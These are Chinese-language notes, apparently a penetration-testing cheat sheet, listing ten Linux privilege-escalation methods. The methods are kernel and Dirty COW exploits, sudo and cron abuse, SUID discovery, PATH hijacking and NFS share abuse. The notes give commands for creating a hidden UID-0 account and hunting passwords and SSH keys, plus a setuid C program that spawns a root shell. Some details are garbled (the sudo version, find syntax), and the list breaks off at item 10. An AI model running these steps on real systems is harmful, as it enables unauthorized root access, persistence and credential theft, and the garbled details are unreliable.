1.内核提权,根据版本搜索相应exp
查看操作系统版本命令
uname –a
lsb_release –a
cat /proc/version 查看内核版本
cat /etc/issue 查看发行类型
2.sudo提权
要求sudo版本小于1.2.28 且/etc/sudoers有用户设置
先查看/etc/sudoers配置
提权
3.计划任务提权(主要是用于权限维持)
查看计划任务 cat /etc/crontab /var/spool/cron(crontab –e 生成的计划任务)
如果有权限编辑则编辑计划任务的相应脚本。
Crontab –e 编写提权文件
4. suid提权
find / -user root –perm -4000 print 2>/dev/null //这里是find bash vim less more cp mv 等命令(因为这些命令有执行系统命令的参数,主要查看是否具有s权限)
5.环境变量劫持提权(当可执行文件执行的命令时,从当前开始寻找需要的参数。//这里是ps)
- 寻找suid的文件
find / -user root –perm -4000 print 2>/dev/null
当前文件夹创建ps,添加/bin/sh到ps中,shell为demo.c编译后的文件,当运行shel后,shel会从当前环境目录寻找到ps并调用,达到提权的目的。
6. 脏牛提权
1.下载脏牛exp,生成可执行文件
2. 执行文件,查看权限
mv /tmp/passwd.bak /etc/passwd 备份后还原root账号
useradd -p 123456 db -o -u 0 -g root 创建root权限账号
7.根据服务提权,攻击高权限运行的服务获取权限
ps –aux | grep root
ps –ef | grep root
dpkg –l 查看安装的应用程序
8.查看文件中的弱密码
grep –i pass filename
/var/spool/mail/root 查看用户是否存在敏感信息信息
/root/.ssh 查看秘钥信息
9.利用NFS获取权限
- cat /etc/exports
2. 当前为任意机器可连接,攻击机挂载(kali用nfs-common,centos用nfsutil )
showmount 192.168.83.134 查看
mount -t nfs 192.168.83.134:/tmp /tmp/test 挂载(/tmp共享的)
3. 创建.c文件,上传到共享(若配置不安全可以附加权限 suid类似)
4.要提权服务器执行文件
2.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
setuid(0);
system("/bin/bash");
return 0;
}
10.通配符注入(chown)